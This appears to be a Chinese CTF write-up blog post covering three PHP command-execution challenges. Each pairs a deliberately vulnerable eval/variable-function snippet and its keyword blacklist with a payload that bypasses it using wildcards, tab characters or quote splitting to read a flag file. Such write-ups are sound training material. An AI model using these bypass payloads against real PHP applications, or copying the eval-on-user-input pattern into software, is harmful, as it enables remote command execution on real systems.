记录CTF命令执行练习中遇到的几道题(一些PHP命令过滤的绕过方法)

题目1

		if (isset($_GET["Command"]) && $_GET["Command"]) {
			$command = $_GET["Command"];
			if (!preg_match("/f|a|g|flag|cat|tac|more|ls|\'|\*|system|exec|popen|passthru|shell_exec|assert|eval/i", $command)) {
				eval($command);
			} else {
				echo "nonono~";
			}
		}
过滤了一些flag关键字和命令执行函数,发现echo、nl可用,用通配符?替代被过滤的关键字。

payload

?Command=echo `nl /?l??`;

题目2

		if (isset($_GET["Command1"]) && isset($_GET["Command2"])) {
			$com1 = $_GET["Command1"];
			$com2 = $_GET["Command2"];
			if (!preg_match("/cat|tac|nl|more|less|tail|head|ls|\'|\*| |flag/i", $com2)) {
				$com1($com2);
			} else {
				echo "nonono~";
			}
		}
过滤和空格和一些输出内容的函数,用以下方法绕过:

payload

?Command1=system&Command2=ta"c"%09/fla?

题目3

    	if (isset($_GET["Command1"])) {
    		$com1 = $_GET["Command1"];
    		if (!preg_match("/eval|assert|system|passthru|\`|file_get_contents|readfile|show_source|include|include_once|require|require_once|highlight_file|\?|flag/i", $com1)) {
    			eval($com1);
    		} else {
    			echo "nonono~";
    		}
    	}
过滤了一些命令执行函数,用shell_exec可以绕过,注意shell_exec没有输出,需要用echo输出结果,用两个单引号过滤对flag的过滤,反斜杠\也可以。

payload

?Command1=echo shell_exec("tac /fl''ag");
  • 0
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值